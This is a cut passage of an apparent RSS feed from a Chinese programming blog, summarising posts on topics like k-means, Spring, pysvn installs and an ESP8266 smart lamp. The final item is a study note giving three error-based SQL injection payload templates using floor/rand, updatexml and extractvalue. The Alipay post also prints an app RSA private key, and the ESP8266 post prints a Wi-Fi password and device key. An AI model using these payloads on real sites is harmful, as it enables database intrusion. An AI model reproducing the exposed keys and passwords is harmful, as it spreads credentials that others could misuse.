六张图片分别设置位置 */ #album-inner li:nth-of-type(1){ transform: translateZ(50px); } #album-inner li:nth-of-type(2){ transform: translateX(50px) rotateY(90deg); } #album-inner li:nth-of-type(3){ transform: translateZ(-50px); } #album-inner li:nth-of-type(4){ transform: translateX(-50px) rotateY(90deg); } #album-inner li:nth-of-type(5){ transform: translateY(-50px) rotateX(90deg); } #album-inner li:nth-of-type(6){ transform: translateY(50px) rotateX(90deg); } /* 外面的旋转 */ #album-outer{ /* transition: transfrom 3s linear !</description>
    </item>
    <item>
      <title>python之pysvn的那些坑</title>
      <link>https://bchobby.github.io/posts/e4c5a36a66d560cd816271fa884b1a17/</link>
      <pubDate>Wed, 08 Apr 2020 21:11:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e4c5a36a66d560cd816271fa884b1a17/</guid>
      <description>使用详见官方文档，后面记录几个用到的方法&#xA;先安装 windows 安装 环境：win10，python3.7&#xA;http://pysvn.tigris.org/servlets/ProjectDocumentList?folderID=1768 下载对应版本，直接运行安装&#xA;centos 安装 环境：centos7，python3.7，pysvn1.8.0&#xA;centos下yum安装默认安装python2环境的&#xA;python3环境的安装参考这个&#xA;#python2 安装 yum install pysvn -y 踩坑记录：从我安装情况来看，pysvn似乎时不兼容python3.7，因为一直没装上，下面的报错2一直搞不定，网上搜索的教程就算装上了也特别麻烦，果断换环境&#xA;# python3.6 安装 #下载 wget http://pysvn.barrys-emacs.org/source_kits/pysvn-1.8.0.tar.gz #安装依赖 ,若不安装依赖会有报错，见下面 yum install subversion-devel apr-devel apr-util-devel -y #开始编译安装pysvn tar xzf pysvn-1.8.0.tar.gz cd pysvn-1.8.0/Source/ python3 setup.py configure make cd pysvn/ #查找python包的位置 find / -name site-packages #创建pysvn文件夹 mkdir /usr/local/lib/python3.6/site-packages/pysvn #把文件拷过去完成 cp __init__.py /usr/local/lib/python3.6/site-packages/pysvn cp _pysvn_3_6.so /usr/local/lib/python3.6/site-packages/pysvn 报错1：运行python3 setup.py configure报错&#xA;错误：(&#39;Error:&#39;, &#39;Cannot find SVN include svn_client.h - use --svn-inc-dir&#39;) 解决：yum -y install subversion-devel 报错2：运行make报错，具体报错找不到了，反正就这个文件有错，网上也找不到什么解决办法</description>
    </item>
    <item>
      <title>k-means聚类算法原理简析</title>
      <link>https://bchobby.github.io/posts/dd0858f341ed5dac70e4081c70a3df62/</link>
      <pubDate>Wed, 08 Apr 2020 18:52:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd0858f341ed5dac70e4081c70a3df62/</guid>
      <description>k-means聚类算法原理简介 概要算法思想算法流程图解代码实现算法优化代价函数（Distortion function）如何选取k值聚类中心的初始化 概要 K-means算法是最普及的聚类算法，也是一个比较简单的聚类算法，所以刚接触的同学不要感到害怕。算法接受一个未标记的数据集，然后将数据聚类成不同的组，同时，k-means算法也是一种无监督学习。&#xA;算法思想 k-means算法的思想比较简单，假设我们要把数据分成K个类，大概可以分为以下几个步骤：&#xA;随机选取k个点，作为聚类中心；计算每个点分别到k个聚类中心的聚类，然后将该点分到最近的聚类中心，这样就行成了k个簇；再重新计算每个簇的质心（均值）；重复以上2~4步，直到质心的位置不再发生变化或者达到设定的迭代次数。 算法流程图解 下面我们通过一个具体的例子来理解这个算法（我这里用到了Andrew Ng的机器学习教程中的图）：&#xA;假设我们首先拿到了这样一个数据，要把它分成两类：&#xA;我们人眼当然可以很快的分辨出来，可以在两个聚类间找到一条合理的分界线，那么用k-means算法来解决这个问题会是怎样的呢？&#xA;首先我们随机选取两个点作为聚类中心（因为已经明确是分为两类）：&#xA;接下来就可以开始计算每个点到红点和蓝点的距离了，离红点近就标记为红色，离蓝点近就标记为蓝色。结果为下图：&#xA;很明显，这样完全不是我们想要的结果，接下来我们进行第三步，重新计算聚类中心的位置。&#xA;红X和蓝X都向中间靠拢了一点。我们可以看到，聚类中心发生改变后，其他点离两个聚类中心的距离也跟随着发生了变化。然后我们重复第二步，根据每个点到两个聚类中心的距离远近来进行重新分类，离红X近的归为红类，离蓝X近的归为蓝类。&#xA;之前站错了队伍的一些点重新进行了调整，现在的分类离我们的目标越来越近了，但还没有达到最佳的分类效果。接下来继续重复上面的步骤，重新计算聚类中心的位置，再重新分类，不断迭代，直至聚类中心的位置不再变化（变化范围达到设定值）或达到迭代次数为止。&#xA;这样我们就利用k-means算法把这个数据很好的分为两类啦。&#xA;我们可以看到，在整个过程中，我们都没有去监督算法，告诉他具体是分错了还是对了，只是在开始的时候告诉他要把这个数据分成多少类，然后后面的操作都是由他自己完成，完全没有人为的让他进行分类的学习，也没有帮助他纠正错误，所以k-means算法也是一种无监督学习方法。&#xA;相信看到这里你对k-means算法的原理也有了一个大概的了解啦。下面我们再来看看这个算法的代码实现吧。&#xA;代码实现 下面就放一个Andrew Ng 机器学习教程的习题答案吧，把k-means算法的具体流程大概实现了一下：&#xA;function [centroids, idx] = runkMeans(X, initial_centroids, ... max_iters, plot_progress) %RUNKMEANS runs the K-Means algorithm on data matrix X, where each row of X %is a single example % [centroids, idx] = RUNKMEANS(X, initial_centroids, max_iters, ... % plot_progress) runs the K-Means algorithm on data matrix X, where each % row of X is a single example.</description>
    </item>
    <item>
      <title>springboot 支付宝支付（条码支付）</title>
      <link>https://bchobby.github.io/posts/b7d45fac72b1b07ee1080f78bbe43788/</link>
      <pubDate>Wed, 08 Apr 2020 18:44:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b7d45fac72b1b07ee1080f78bbe43788/</guid>
      <description>springboot 支付宝支付（条码支付） 应用：线下场景中，商家使用扫码枪扫描客户出示的支付宝条码或者二维码进行付款&#xA;官方文档：https://opendocs.alipay.com/open/194/105072&#xA;***************************** 引入 jar 包&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alipay.sdk&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;alipay-sdk-java&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;4.9.100.ALL&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; ***************************** 示例&#xA;*****************&#xA;配置文件&#xA;alipay: appid: 2016092500591327 gatewayUrl: https://openapi.alipaydev.com/gateway.do format: JSON charset: utf-8 signType: RSA2 returnUrl: http://sk5xjs.natappfree.cc/return notifyUrl: http://sk5xjs.natappfree.cc/notify app-private-key: MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCcF+Oc3uJEFt59LXB30LkP/Ocn6cMtxTeeqiM99tzGi3nyMao33jPYjwKvQk+djDb7i4bgJNVjx5QtEuJruMsiOMUO34QzYqnSZLLdA8Oltbf5LG/+qJMnF+K1dw9DWvw5dF6rbXvvqMpzruBJ99ntbWBK5hE/ayYODPhmcQ8rLV0nedYCb4nIhQueF3l6pFDG5e/eRyTj3Vb6faSf30DTKhMk4Yvj3Mx3f8h4eGGjFvvbSKdO8oI8HQYkEQh8k8pqkkQs3FSawp5KNAH13CNzGEnLewsOaHiEEwT1qSTc7ppewp7oyP2KtXw9TQySlkNFyLorqUHjF71hgCFmDEIxAgMBAAECggEACT5c60hDq/aSvGT5eQ7yNqEqazGrrkU0kv/OUHgTAOr3kMEiLGbLOTLW3NwXbOQFyYWsug9UV7FU9ApfQDPUS7WC7euMn6JjHiN6eB4l8uU8/NOF2lXPSQxgD5D6ZWm48AoVJR+5rCqZupoLjDXSQP4uKqFPOis1OLXJ6/8b/9l7L0jf2eW70Ht6HrNxfXTAn07FoJAEHnjePCgyYHuor9oD/0bi/0KRJkeQtqMZHX3oYhhYmQzIMTXIi9hMd+U6lmaknDFV8AMOfemX0Dq6KNYPwWP86YWelZ230xHXgE3Jk493unFZetliGG6vVyq4Whd5OTcXmE64+8GRKxO5QQKBgQDOwRR4KhyqbA7LXjyNhYXr86pOEt4wpeZGFsbcryRsxf0HSZpVWwUMVsOFkHRBZ3InbkfRCdHMBcqiA5dDwYOyo4l0R7sWdc9rteXvLdw57tBDbkiLK2HW+iUP0mXXghiD7ynyaAyLdvu5upUdDj1G1OI40Ye1ThOK60WseXyC6QKBgQDBRb2dg4YDKh0HtTsl8e/A1rPzob7KyRSi7bY31WtEOETeY6FMsC9jMm6fxJtT+Xtp5XfrWhQptn0E1fLJ7c7TAM1hFs2YBzOLKzinVxo0nFfRGkMrBotoAQmh+SKME1BjyW8qGeVIC8DSSazvVDDpp3Z6+WjNESL7e8yAn3VoCQKBgDVxGwVkfTxf6gMPPL+n/9HZje/YWK5ic38ya/ynGNc05g54K/hcKpXh53AiwqoVPyCKFO4nh58g8BuoqfTNlGkcdG8mC2nm0dKZlfGY/Q/MdvC3FPFEKWoUBnhsff6SlhukOkd6NaPnAXIklF6KS7R/WmotXtKyd8K0xbGrRU/hAoGAX4diHp3oul2xdaLddnbsA0vcLFrRHBhhq9qFC3ngiBqr56QlEOuwsH438Z5TDCGvH3t9V4Xxm2CI0MATPj3d0at+2DNWMYO1tV8KpKPH3yM7wK4TbwvQEfsZUMb8jXHqdTgWSx/7lS3CA+7InI7nkkXkqQnoBBwpR1Y8kYK/nEkCgYBmVBBabnYfaUkooDBPOZu7xCQH1xf+yPV0jH8T8FMYFn6biCXVnHhjZ5Mm8h8Y7gctRpZtqnG30TD71HLsRohxfQkxRyp9NvhiJpingBL860lM89JA3C/pNDf8FV3hq4RFIPDkBA3v7QbytDTNl4bQ7oYiFegWndLVBboNIntNFg== alipay-public-key: MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1ynoaKrpzpipzhsivNwIRBrEPMeFYLWkWSMU9E3KAdBBpSGHN9x3OVWYe/F3yxRgLtbOdqN1DBYiKLUBvUu2NAqH1KV6nkt3Rx/gc7MKMwL+TWBmXKX5L1eK17TOPKMXoqVN5grFrCH0hx/U6lZnr2M/7A93yPlSKLgJwVYj560wzElBL+fvjR0V0OA+FWJryKluBtJYUKXBadFKuyVwNnyGqmHFxvtSHuErhOrg0YiYIfhV3f7zE5q1mIz7ecwH0W7nB7gtFjLt1k4WSpwyeEI8Xpl7SLMvHdwEXUwTU0h/V7TumYWgUe0ft70NTps+zPwJlmcEluHg0VSs7UrDVQIDAQAB *****************&#xA;config 层&#xA;AlipayProperties&#xA;@Data @Component @ConfigurationProperties(&#34;alipay&#34;) public class AlipayProperties { private String appId; private String gatewayUrl; private String format; private String charset; private String signType; private String appPrivateKey; private String alipayPublicKey; private String returnUrl; private String notifyUrl; } AlipayConfig：创建AlipayClient</description>
    </item>
    <item>
      <title>7-16 列出叶结点 (25分)/(C语言实现)</title>
      <link>https://bchobby.github.io/posts/8c8e72a7ca1ae00a378a8e18484525d1/</link>
      <pubDate>Wed, 08 Apr 2020 17:43:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8c8e72a7ca1ae00a378a8e18484525d1/</guid>
      <description>7-16 列出叶结点 (25分)/(C语言实现) 对于给定的二叉树，本题要求你按从上到下、从左到右的顺序输出其所有叶节点。&#xA;输入格式：&#xA;首先第一行给出一个正整数 N（≤10），为树中结点总数。树中的结点从 0 到 N−1 编号。随后 N 行，每行给出一个对应结点左右孩子的编号。如果某个孩子不存在，则在对应位置给出 “-”。编号间以 1 个空格分隔。&#xA;输出格式：&#xA;在一行中按规定顺序输出叶节点的编号。编号间以 1 个空格分隔，行首尾不得有多余空格。&#xA;输入样例：&#xA;|8&#xA;|1 -&#xA;|- -&#xA;|0 -&#xA;|2 7&#xA;|- -&#xA;|- -&#xA;|5 -&#xA;|4 6&#xA;输出样例：&#xA;4 1 5&#xA;C语言实现 #include&amp;lt;stdio.h&amp;gt; #include&amp;lt;stdlib.h&amp;gt; typedef struct Node *node; struct Node {//储存输入数据，并找到父节点 int on; int left; int right; }; typedef struct Snode *Tree; struct Snode{//树 int data; Tree Left; Tree Right; }; int flag=1;//判断输出时第一个字母不带空格 Tree buidTree(int rot,node nod[]); void myprint(Tree t); int main(){ int n,j=0,num[14]={0}; node tr[14]; char ch; scanf(&#34;</description>
    </item>
    <item>
      <title>利用esp8266接入小爱同学，实现智能台灯的改造物联网初识</title>
      <link>https://bchobby.github.io/posts/1ca3807cf02b7145d6ff032e2245e56a/</link>
      <pubDate>Wed, 08 Apr 2020 17:32:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ca3807cf02b7145d6ff032e2245e56a/</guid>
      <description>硬件准备 1.继电器WIFI智能插座模块&#xA;2.USB转ESP8266WIFI模块&#xA;3.ESP8266模块&#xA;软件环境搭建 1.小爱同学app,或者米家app,点灯 Blinker app&#xA;2.ArdunioIDE编译器&#xA;第一步：首先下载Arduino IDE地址：https://www.arduino.cc/en/Main/Software?setlang=en&#xA;第二步：导入ESP8266开发板，在软件，首选项里&#xA;在附加开发版管理器网址里输入：http://arduino.esp8266.com/stable/package_esp8266com_index.json&#xA;第三步：打开工具=》开发板=》开发板管理器中搜索ESP8266安装即可，此过程有点慢&#xA;第四步：打开工具选择开发版本，工具=》开发板=》选择NodeMcu 1.0(ESP-12E Module)&#xA;第五步：下载代码所需要的库地址：https//github.com/blinker-iot/blinker-library/archive/master.zip&#xA;把下载的库复制到此目录下。&#xA;上传代码 上传代码时需要短接&#xA;#define BLINKER_MIOT_LIGHT #define BLINKER_WIFI #include &amp;lt;Blinker.h&amp;gt; char auth[] = &#34;d64a851784dc&#34;;//在BLINKER中设备的密钥 char ssid[] = &#34;TP-LINK_6B29&#34;;//局域网的名字 char pswd[] = &#34;wg15385778716..&#34;;//局域网密码 int GPIO=0;//定义GPIO口用于控制继电器 #define BUTTON_1 &#34;ButtonKey&#34; BlinkerButton Button1(&#34;key&#34;);//这里需要根据自己在BLINKER里面设置的名字进行更改 //按下按键后就会进行此函数 void button1_callback(const String &amp;amp; state) { BLINKER_LOG(&#34;get button state: &#34;, state); digitalWrite(GPIO,!digitalRead(GPIO)); Blinker.vibrate(); } //接入小爱同学的代码，此部分代码根据BLINKER官网进行修改得到 void miotPowerState(const String &amp;amp; state) { BLINKER_LOG(&#34;need set power state: &#34;</description>
    </item>
    <item>
      <title>Storm的strom list的此节点报错Could not find leader nimbus from seed hosts [&#34;1} DiDid you specify a valid li</title>
      <link>https://bchobby.github.io/posts/7dc0d412354ea8d15da7c2bf8a0e1766/</link>
      <pubDate>Wed, 08 Apr 2020 15:59:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7dc0d412354ea8d15da7c2bf8a0e1766/</guid>
      <description>ava.lang.RuntimeException: java.lang.RuntimeException: org.apache.storm.thrift.transport.TTransportException: java.net.UnknownHostException: host-10-1-234-26&#xA;at org.apache.storm.security.auth.ThriftClient.reconnect(ThriftClient.java:108) ~[storm-core-1.1.1.jar:1.1.1]&#xA;Caused by: java.lang.RuntimeException: org.apache.storm.thrift.transport.TTransportException: java.net.ConnectException: Connection refused (Connection refused)&#xA;。。。。。。。&#xA;。。。。。&#xA;Exception in thread “main” org.apache.storm.utils.NimbusLeaderNotFoundException: Could not find leader nimbus from seed hosts [“10.1.234.26” “10.1.234.27”]. Did you specify a valid list of nimbus hosts for config nimbus.seeds?&#xA;查找发现这个主机&#xA;cat /etc/hosts 这个主机没有配置域名，其他主机都配置了&#xA;vi /etc/hosts&#xA;root权限添加主机域名&#xA;再试试storm list就好了</description>
    </item>
    <item>
      <title>用全站 CDN 部署 Discourse 论坛</title>
      <link>https://bchobby.github.io/posts/c2b611f28213db1d778b302e9632b23c/</link>
      <pubDate>Wed, 08 Apr 2020 15:22:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c2b611f28213db1d778b302e9632b23c/</guid>
      <description>Discourse 介绍 Discourse 是一款由 Stack Overflow 的联合创始人——Jeff Atwood，基于 Ruby on Rails 开发的开源论坛。相较于传统论坛，Discourse 从他全面开放的开源态度、简介明了的页面风格到其特有的内容运作体系都在证明自己是一款为下一个 10 年的互联网而设计的产品。现在，诸如 Car Talk 等国外知名产品都采用 Discourse 为论坛方案。&#xA;作为一个开源的论坛项目，Discourse 相对其他的论坛有以下亮点：&#xA;高度可定制：从发帖等级要求权限到论坛帖子标题最少字数要求，Discourse 在论坛设置里罗列了 25 设置大项，300+ 个论坛小项，即使大家都使用 Discourse 搭建论坛但是每个用 Discourse 搭建的论坛都有自己的风格。插件：Discourse 官方及 Discourse 开源社区用户开发了丰富的插件可供使用，比如：个性化导航、自定义论坛封面。集成：可接入第三方产品，Google Analytics、 Slack、Wordpress 都在支持之列。免费：虽然 Discourse 有 $100/Month 的托管服务，但是你可以完全自行部署免费使用 Discourse 服务。其他：Discourse 还有其他许多的好处，举个例子，它提供了一个机器人 Discobot 是一个可自定义的 bot，交互式地教新用户使用平台的许多功能，例如为主题添加书签，单框链接（嵌入的预览），添加 emoji表情，非常简单的格式设置，添加图片回复，标记帖子以及如何使用搜索功能。 丰富的插件、可自定义论坛设置便是 Nebula Graph 选择 Discourse 最大的原因，而本文不在于介绍如何搭建 Discourse（搭建 Discourse 是一个简单的活，可自行搜索教程），本文旨在介绍图数据库 Nebula graph 如何利用 CDN 来部署 Discourse。&#xA;部署 Discourse 自托管的原因 尽管 Discourse 官方的托管服务，但由于国内的访问质量不稳定、不能自由的修改插件和自定义网络设置，因此我们决定自行托管这项服务。基于自托管服务，我们对网络、插件系统做了一些自定义修改，使得目前 Nebula Graph社区有着更好的访问速度和功能。</description>
    </item>
    <item>
      <title>Jmeter聚合报告各参数详解</title>
      <link>https://bchobby.github.io/posts/3de3716569d7468f7f07ceb3720579a4/</link>
      <pubDate>Wed, 08 Apr 2020 11:47:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3de3716569d7468f7f07ceb3720579a4/</guid>
      <description>聚合报告如下：&#xA;各字段详解如下：&#xA;1、Lable：Http请求名称&#xA;2、#Samples：请求总数，如果线程数为100，循坏次数为10，则Sample为1000 3、Average：平均响应时间 4、Median，90% Line，95% Line， 99% Line：50％，90%，95%，99%用户的响应时间； 5、Min：最小响应时间； 6、Maximum：最大响应时间； 7、Error%：本次测试中出现的错误率，即错误的请求的数量/请求的总数； 8、Throughput：吞吐量——默认情况下表示每秒完成的请求数（Request per Second），当使用了 Transaction ； 9、Received KB/src：每秒从服务器端接收到的数据量； 10、Sent KB/src：每秒从客户端发送的请求的数量。 ps：本人小白，有什么错误的地方，请各位大佬提出，感谢~</description>
    </item>
    <item>
      <title>Exception in thread &#34;main&#34; java.lang.IncompatibleClassChangeError: Found interface org.apache.poi.ut</title>
      <link>https://bchobby.github.io/posts/966aa8b169b591f9b084848c7ebc8805/</link>
      <pubDate>Wed, 08 Apr 2020 11:30:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/966aa8b169b591f9b084848c7ebc8805/</guid>
      <description>java poi 生成word 并插入 表格&#xA;报错：&#xA;Exception in thread &#34;main&#34; java.lang.IncompatibleClassChangeError: Found interface org.apache.poi.util.POILogger, but class was expected&#xA;原因： poi 引入的版本不一样&#xA;解决办法： 更换统一版本或兼容版本&#xA;代码会在 另一篇文章中，贴出来&#xA;我的pom:&#xA;&amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-test&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;exclusions&amp;gt; &amp;lt;exclusion&amp;gt; &amp;lt;groupId&amp;gt;org.junit.vintage&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;junit-vintage-engine&amp;lt;/artifactId&amp;gt; &amp;lt;/exclusion&amp;gt; &amp;lt;/exclusions&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--&amp;lt;dependency&amp;gt;--&amp;gt; &amp;lt;!--&amp;lt;groupId&amp;gt;org.apache.poi&amp;lt;/groupId&amp;gt;--&amp;gt; &amp;lt;!--&amp;lt;artifactId&amp;gt;poi-ooxml&amp;lt;/artifactId&amp;gt;--&amp;gt; &amp;lt;!--&amp;lt;version&amp;gt;3.14&amp;lt;/version&amp;gt;--&amp;gt; &amp;lt;!--&amp;lt;/dependency&amp;gt;--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.poi&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;poi-excelant&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.14&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.poi&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;poi-examples&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;4.0.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.poi&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;poi-ooxml-schemas&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.10-FINAL&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.poi&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;poi-ooxml&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;4.0.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--Apache poi 在word中的表格中插入表格，图片等操作 开始--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.</description>
    </item>
    <item>
      <title>Spring的beanFactory和Application</title>
      <link>https://bchobby.github.io/posts/0cc10013618f13460850fff907752585/</link>
      <pubDate>Wed, 08 Apr 2020 10:43:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0cc10013618f13460850fff907752585/</guid>
      <description>Spring的beanFactory和Application&#xA;BeanFactory和ApplicationContext联系 BeanFactory和ApplicationContext是Spring的两大核心接口，而其中ApplicationContext是BeanFactory的子接口。它们都可以当做Spring的容器，Spring容器是生成Bean实例的工厂，并管理容器中的Bean。&#xA;一、BeanFactory BeanFactory 是 Spring 的“心脏”。它就是 Spring IoC 容器的真面目。Spring 使用 BeanFactory 来实例化、配置和管理 Bean。&#xA;BeanFactory是IOC容器的核心接口， 它定义了IOC的基本功能，我们看到它主要定义了getBean方法。getBean方法是IOC容器获取bean对象和引发依赖注入的起点。方法的功能是返回特定的名称的Bean。&#xA;BeanFactory常用的实现类是DefaultListableBeanFactory，调用者只需要使用getBean()方法就可以获得指定的引用，无须关心Bean的实例化过程。创建Spring容器的实例时，必须提供Spring容器管理的Bean的详细配置信息。Spring的配置信息通常采用XML配置文件来设置，因此，创建BeanFactory实例时，应该提供XML配置文件作为参数。XML配置文件通常使用Resource对象传入。&#xA;如下：&#xA;Resource isr = new ClassPathResource(&#34;beans.xml&#34;); //Resource isr = new FileSystemResource(&#34;beans.xml&#34;); DefaultListableBeanFactory beanFactory = new DefaultListableBeanFactory(); new XmlBeanDefinitionReader(beanFactory).loadBeanDefinition(isr); BeanFactory 是初始化 Bean 和调用它们生命周期方法的“吃苦耐劳者”。注意，BeanFactory 只能管理单例（Singleton）Bean 的生命周期。它不能管理原型(prototype,非单例)Bean 的生命周期。这是因为原型 Bean 实例被创建之后便被传给了客户端,容器失去了对它们的引用。&#xA;二、ApplicationContext 如果说BeanFactory是Spring的心脏，那么ApplicationContext就是完整的躯体了，ApplicationContext由BeanFactory派生而来，提供了更多面向实际应用的功能。在BeanFactory中，很多功能需要以编程的方式实现，而在ApplicationContext中则可以通过配置实现。&#xA;获取bean的方式：&#xA;ApplicationContext ac = new ClassPathXmlApplicationContext(&#34;spring.xml&#34;); BeanFactorty接口提供了配置框架及基本功能，但是无法支持spring的aop功能和web应用。而ApplicationContext接口作为BeanFactory的派生，因而提供BeanFactory所有的功能。而且ApplicationContext还在功能上做了扩展，相较于BeanFactorty，ApplicationContext还提供了以下的功能：&#xA;默认初始化所有的Singleton，也可以通过配置取消预初始化。继承MessageSource, 提供国际化的消息访问 。资源访问，如URL和文件 。继承自ResourceLoader（资源加载接口）。事件传播，即支持aop特性？。继承自ApplicationEventPublisher（应用事件发布接口）。同时加载多个配置文件。以声明式方式启动并创建Spring容器。 事件特性&#xA;基本上牵涉到事件(Event)方面的设计，就离不开观察者模式。不明白观察者模式的朋友，最好上网了解下。因为，这种模式在java开发中是比较常用的，又是比较重要的。&#xA;ApplicationContext的事件机制主要通过ApplicationEvent和ApplicationListener这两个接口来提供的，和java swing中的事件机制一样。即当ApplicationContext中发布一个事件的时，所有扩展了ApplicationListener的Bean都将会接受到这个事件，并进行相应的处理。&#xA;在Web应用中使用Spring容器，通常使用XmlWebApplicationContext、AnnotationConfigApplicationContext两个实现类。如果需要使用多个XML配置文件创建Spring容器，可以使用FileSystemXmlApplicationContext或者是ClassPathXmlApplicationContext。&#xA;三、BeanFactory和ApplicationContext区别 BeanFactroy采用的是延迟加载形式来注入Bean的，即只有在使用到某个Bean时(调用getBean())，才对该Bean进行加载实例化，这样，我们就不能发现一些存在的Spring的配置问题。而ApplicationContext则相反，它是在容器启动时，一次性创建了所有的Bean。这样，在容器启动时，我们就可以发现Spring中存在的配置错误，但是ApplicationContext 在系统创建前期会有较大的系统开销。当应用程序配置Bean较多时，程序启动较慢。但一旦ApplicationContext初始化完成，程序后面获取Singleton Bean实例时候将有较好的性能。也可以为bean设置lazy-init属性为true，即Spring容器将不会预先初始化该bean。BeanFacotry延迟加载,如果Bean的某一个属性没有注入，BeanFacotry加载后，直至第一次使用调用getBean方法才会抛出异常；而ApplicationContext则在初始化自身是检验，这样有利于检查所依赖属性是否注入；所以通常情况下我们选择使用 ApplicationContext。&#xA;BeanFactory和ApplicationContext都支持BeanPostProcessor、BeanFactoryPostProcessor的使用，但两者之间的区别是：BeanFactory需要手动注册，而ApplicationContext则是自动注册。（Applicationcontext比 beanFactory 加入了一些更好使用的功能。而且 beanFactory 的许多功能需要通过编程实现而 Applicationcontext 可以通过配置实现。比如后处理 bean ， Applicationcontext 直接配置在配置文件即可而 beanFactory 这要在代码中显示的写出来才可以被容器识别。 ）</description>
    </item>
    <item>
      <title>专题九——数组类问题</title>
      <link>https://bchobby.github.io/posts/744e81f69d63e117ce8513d5afc2c1cf/</link>
      <pubDate>Tue, 07 Apr 2020 22:15:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/744e81f69d63e117ce8513d5afc2c1cf/</guid>
      <description>例题1：已知数组a中的元素已按由小到大顺序排列，以下程序的功能是将输入的一个数插入数组a中，插入后，数组a中的元素仍然由小到大顺序排列 #include &amp;lt;stdio.h&amp;gt; int main() { int a[10] = {0,17,28,32,56,86,88}; int n,i,j; //j为元组的个数 j = 6; printf(&#34;Enter a number :&#34;); scanf(&#34;%d&#34;,&amp;amp;n); a[0] = n ; //数组a[0]为工作单元 for(i = j;i&amp;gt;0;i--) { if(a[i]&amp;gt;n) a[i+1] = a[i]; else { a[i+1] = n; break; } } for(i=1;i&amp;lt;=j+1;i++) { printf(&#34;%d &#34;, a[i]); } printf(&#34;\n&#34;); return 0;&#x9;} 例题2：通过键盘输入3名学生4门课程的成绩，分别求每个学生的平均成绩和每门课程的平均成绩。 #include &amp;lt;stdio.h&amp;gt; int main() { float a[4][5],sum1,sum2; int i,j; for(i=0;i&amp;lt;3;i++) { for(j=0;j&amp;lt;4;j++) { scanf(&#34;%d&#34;,&amp;amp;a[i][j]); } } for(i=0;i&amp;lt;3;i++) { sum1 = 0; for(j = 0;j&amp;lt;4;j++) { sum1 += a[i][j]; a[i][4] = sum1 / 4; } } for(j=0;j&amp;lt;5;j++) { sum2 = 0; for(i=0;i&amp;lt;3;i++) { sum2 += a[i][j]; a[3][j] = sum2/3; } } for(i=0;i&amp;lt;4;i++) { for(j=0;j&amp;lt;5;j++) { printf(&#34;</description>
    </item>
    <item>
      <title>sqlmap报错注入</title>
      <link>https://bchobby.github.io/posts/4245e34d11d9b521190c726625bb41d9/</link>
      <pubDate>Tue, 07 Apr 2020 21:40:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4245e34d11d9b521190c726625bb41d9/</guid>
      <description>0x00 背景&#xA;学习记录一下报错型的注入，经各方整理和自己总结形成。&#xA;所有的注入原理都是一样，即用户输入被拼接执行。但后台数据库执行语句产生错误并回显到页面时即可能存在报错注入。&#xA;0x01概念&#xA;报错型注入的利用大概有以下3种方式：&#xA;复制代码&#xA;1：?id=2’ and (select 1 from (select count(*),concat( floor(rand(0)*2),(select (select (查询语句))&#xA;from information_schema.tables limit 0,1))x from information_schema.tables group by x )a )–+&#xA;2：?id=2’ and updatexml(1,concat(0x7e,(SELECT 查询语句),0x7e),1)–+&#xA;3：?id=1’ and extractvalue(1, concat(0x7e, (select 查询语句),0x7e))–+&#xA;复制代码&#xA;对于1的分析：&#xA;复制代码&#xA;floor()是取整数 rand(0)*2将取0到2的随机数&#xA;floor(rand()2)有两条记录就会报错&#xA;floor(rand(0)2)记录需为3条以上，且3条以上必报错，返回的值是有规律的&#xA;count()是用来统计结果的，相当于刷新一次结果&#xA;group by 对数据分组时会先看看虚拟表里有没有这个值,若没有就插入,若存在则count()加1&#xA;group by 时floor(rand(0)*2)会被执行一次,若虚表不存在记录,插入虚表时会再执行一次&#xA;对于count()、rand()、group by 三者同时存在为什么会报错可以参考乌云tsafe的文章&#xA;复制代码&#xA;对于2的分析：&#xA;复制代码&#xA;函数的形式为：UPDATEXML (XML_document, 